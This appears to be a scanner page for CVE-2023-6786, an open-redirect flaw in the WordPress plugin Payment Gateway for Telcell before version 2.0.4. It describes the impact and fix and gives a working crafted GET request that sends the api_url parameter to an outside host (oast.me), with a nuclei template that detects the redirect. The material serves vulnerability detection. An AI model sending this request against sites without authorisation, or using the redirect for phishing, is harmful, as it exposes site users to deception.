Payment Gateway for Telcell < 2.0.4 - Open Redirect

mediumseverity

0.5%likelihood of exploitation, next 30 days

44%of all CVEs are less likely

Readycheck to confirm it

The plugin does not validate the api_url parameter before redirecting the user to its value, leading to an Open Redirect issue

Impact

Unauthenticated attackers can exploit open redirect through the api_url parameter to redirect users to malicious websites for phishing attacks.

Fix

Fixed in 2.0.4

How to confirm it

Send: GET {{BaseURL}}/wp-admin/admin.php?page=wc-settings&action=redirect_telcell_form&api_url=https://oast.me
Positive when: matches in header /(?m)^(?:Location\s*?:\s*?)(?:https?://|//)?(?:[a-zA-Z0-9\-_\.@]*)oast\.me.*$/

Run it with nuclei: nuclei -id CVE-2023-6786 -u <target>

The full check

id: CVE-2023-6786

info:
  name: Payment Gateway for Telcell < 2.0.4 - Open Redirect
  author: s4e-io
  severity: medium
  description: |
    The plugin does not validate the api_url parameter before redirecting the user to its value, leading to an Open Redirect issue
  impact: |
    Unauthenticated attackers can exploit open redirect through the api_url parameter to redirect users to malicious websites for phishing attacks.
  remediation: |
    Fixed in 2.0.4
  reference:
    - https://wpscan.com/vulnerability/f3e64947-3138-4ec4-86c4-27b5d6a5c9c2/
    - https://nvd.nist.gov/vuln/detail/CVE-2023-6786
  classification:
    cve-id: CVE-2023-6786
    epss-score: 0.00515
    epss-percentile: 0.44192
  metadata:
    max-request: 1
    verified: true
    publicwww-query: "/wp-content/plugins/payment-gateway-for-telcell"
  tags: cve,cve2023,wordpress,redirect,wp-plugin,wp,payment-gateway-for-telcell,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/wp-admin/admin.php?page=wc-settings&action=redirect_telcell_form&api_url=https://oast.me"

    matchers:
      - type: regex
        part: header
        regex:
          - '(?m)^(?:Location\s*?:\s*?)(?:https?://|//)?(?:[a-zA-Z0-9\-_\.@]*)oast\.me.*$'

References

Use this check only on systems you are authorised to test. Where the data comes from